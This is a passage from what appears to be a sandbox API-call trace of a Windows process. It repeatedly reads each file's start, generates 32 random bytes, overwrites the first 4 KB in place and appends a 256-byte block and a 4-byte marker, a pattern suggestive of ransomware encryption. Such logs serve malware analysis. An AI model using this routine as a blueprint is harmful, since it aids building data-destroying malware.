(HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.980] GetProcessHeap () returned 0x540000 [0082.980] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.980] GetProcessHeap () returned 0x540000 [0082.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.981] GetProcessHeap () returned 0x540000 [0082.981] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.981] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.981] WriteFile (in: hFile=0x83c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.981] WriteFile (in: hFile=0x83c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.982] GetProcessHeap () returned 0x540000 [0082.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.982] GetProcessHeap () returned 0x540000 [0082.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.982] GetProcessHeap () returned 0x540000 [0082.982] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.982] CloseHandle (hObject=0x83c) returned 1 [0082.983] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 49 [0082.983] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.983] ReadFile (in: hFile=0x840, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.983] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.983] GetProcessHeap () returned 0x540000 [0082.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.983] GetProcessHeap () returned 0x540000 [0082.983] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0082.984] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0082.984] GetProcessHeap () returned 0x540000 [0082.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.984] ReadFile (in: hFile=0x840, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.031] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.031] WriteFile (in: hFile=0x840, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.031] GetProcessHeap () returned 0x540000 [0083.031] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.031] GetProcessHeap () returned 0x540000 [0083.031] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.031] GetProcessHeap () returned 0x540000 [0083.031] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.031] GetProcessHeap () returned 0x540000 [0083.031] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.031] GetProcessHeap () returned 0x540000 [0083.031] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.032] GetProcessHeap () returned 0x540000 [0083.032] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.033] GetProcessHeap () returned 0x540000 [0083.033] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.034] GetProcessHeap () returned 0x540000 [0083.034] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.035] GetProcessHeap () returned 0x540000 [0083.035] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.035] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.036] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.036] WriteFile (in: hFile=0x840, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.036] WriteFile (in: hFile=0x840, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.036] GetProcessHeap () returned 0x540000 [0083.036] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.036] CloseHandle (hObject=0x840) returned 1 [0083.037] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 50 [0083.037] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.037] ReadFile (in: hFile=0x844, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.038] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.038] GetProcessHeap () returned 0x540000 [0083.038] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.038] GetProcessHeap () returned 0x540000 [0083.038] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.038] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.038] GetProcessHeap () returned 0x540000 [0083.038] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.038] ReadFile (in: hFile=0x844, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.121] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.121] WriteFile (in: hFile=0x844, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.121] GetProcessHeap () returned 0x540000 [0083.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.122] GetProcessHeap () returned 0x540000 [0083.122] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.122] GetProcessHeap () returned 0x540000 [0083.122] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.122] GetProcessHeap () returned 0x540000 [0083.122] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.122] GetProcessHeap () returned 0x540000 [0083.122] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.122] GetProcessHeap () returned 0x540000 [0083.122] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.123] GetProcessHeap () returned 0x540000 [0083.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.124] GetProcessHeap () returned 0x540000 [0083.124] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 